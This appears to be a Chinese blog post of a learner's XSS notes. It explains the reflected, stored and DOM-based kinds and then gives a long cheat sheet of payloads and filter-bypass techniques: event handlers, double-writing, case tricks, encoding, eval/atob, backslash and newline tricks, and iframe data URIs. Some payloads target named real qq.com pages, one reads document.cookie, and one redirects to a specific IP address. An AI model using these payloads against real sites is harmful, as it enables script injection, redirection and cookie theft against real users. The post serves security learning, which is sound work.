持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第三天,点击查看活动详情
原理
攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。 所有可输入的地方都有可能存在xss
分类
反射型xss
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,这个过程就像一次发射,所以叫反射型XSS。 常见于通过 URL 传递参数的功能,如网站搜索、跳转等。 反射型 XSS 的恶意代码存在 URL 里
存储型xss
恶意代码存储在数据库中, 常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等, 任何允许用户存储数据的web程序都可能存在存储型XSS漏洞。
Dom xss
用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。 DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,所以防范DOM型XSS完全就是前端的责任。
区别:
反射型和存储型都在服务端,DOM型输入前端漏洞
语句:
一般攻击:
<script>alert(123)</script>
<body onload=alert(123)>
<a href='' onclick=alert(123)>click1</a>
<img src=1 onerror=alert(123)>
重定向攻击:
script>window.location='http://47.95.124.73/'</script>
<iframe id="mainIframe" name="mainIframe" src="http://xxxxxx/" frameborder="0" scrolling="auto" ></iframe>
毫无过滤的情况下
也就是输入什么输出什么,可以在源码中直接看出来
直接输入<script>alert(1)</script>
http://www.xxx.com?xxx=<script>alert(1)</script>
输出在<script>/lt;/script>之间的情况
使用闭合掉
过滤script字符
双写或者大小写绕过
过滤掉双引号的情况下
可以使用HTML实体编码绕过,如:
<script>alert(&xss&)</script>
也可使用反斜杠+ASCII码绕过
刚学到一个使用宽字节绕过的方法
过滤掉&#情况下
使用url编码绕过,&->%23,#->%23
空格被转义
可以使用注释符/**/绕过 今天看书学到一个操作,觉得太棒了一定要记下来
过滤掉双引号但未过滤反斜杠
当未过滤反斜杠的时候可以使用反斜杠\杀掉后面的双引号 比如在这个地方:
location.href="........."+"&ss=aaaa\"+"&from=bbb"+"¶m=";
比如:
把bbb改为数字,在bbb后面加上//来注释掉
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
但是因为符号优先级问题,“字符串”&from=1是错误的,所以可以改成
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";
因为 == 的优先级比&高,所以语句相当于(“字符串”)&(from==1)
但因为from未定义,所以会报错,这里使用JavaScript里面一个特性,凡是以function(){}形式定义的函数都会被最先解析,如:
aaa():
function aaa(){
}
所以代码可以改为:
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
这样的话function from(){}就会提前被解析,从而定义了from 但是到这一步发现空格被转换为 ,可以使用/**/绕过,这也就是和SQL注入空格一样 然后代码就会变为
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=
注释中巧用换行符
这种情况出现在代码中输入的东西在源码中一模一样的显示,但是这种情况出现的并不多
使用换行符绕过 payload为
FilterValueAnd=%0aalert(1)
反射型xss告一段落,总结:巧用换行符、宽字节、反斜杠
DOM型XSS
不同浏览器利用iframe
XSS可以利用不同浏览器的特性来进行弹窗 src 执行 javascript 代码
<iframe src="javascript:alert(1)"></iframe>
IE 下 vbscript 执行代码
<iframe src="vbscript:msgbox(1)"></iframe>
Chrome 下 data 协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
上面的变体
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Chrome 下 srcdoc 属性
<iframe srcdoc="<script>alert(1)</script>"></iframe>
例如: chrome 下,我们可以用 data 协议来执行 JS。
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
谷歌浏览器下的绕过
无任何过滤
谷歌一般是直接过滤危险字符,比如:
http://bangbang.qq.com/php/login?game=roco&uin="><img src=1
onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2
弹窗代码为:
http://bangbang.qq.com/php/login?game=roco&uin="><script
src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2
这个利用是有前提的:
首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 </script> 标签。 我们看看当前的这个点的代码。
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">
<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>
谷歌浏览器是将他认为是危险的代码进行拦截,但是我们可以利用它的一些过滤语句进行绕过,比如:
g_StyleID = paras['g_StyleID'].replace("v6/","");
将v6/转换为空格,我们可以构造语句
<scrv6/ipt>alert(document.cookie)</script>
即可达到弹窗目的
总结XSS的绕过:
双写或者大小写 闭合标签 特殊编码绕过(HTML实体编码)
<script>alert(&xss&)</script>
javascript的fromCharCode函数 这个函数会把指定的Unicode转换为字符串
<script>alert(String.fromCharCode(88,83,83))</script>
ASCII码绕过 使用空字符 <scr%00ipt>alert("xss") base64加密绕过 我的总结很不到位,这里放上broken55师傅的总结 博客链接:www.yuque.com/broken5/blo…
<!-- 空格被过滤 -->
<img/src="1"/onerror=alert(1)>
<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>
<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>
<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
<!-- 利用location -->
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<!-- 括号被过滤 -->
<img src=1 onerror="window.οnerrοr=eval;throw'=alert\x281\x29';">
<!-- onerror=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<!-- 属性被转换为大写 -->
<img src=1 onerror=alert(1)>
<!-- 编码后被检测 -->
<img src=1 onerror=alert(1)>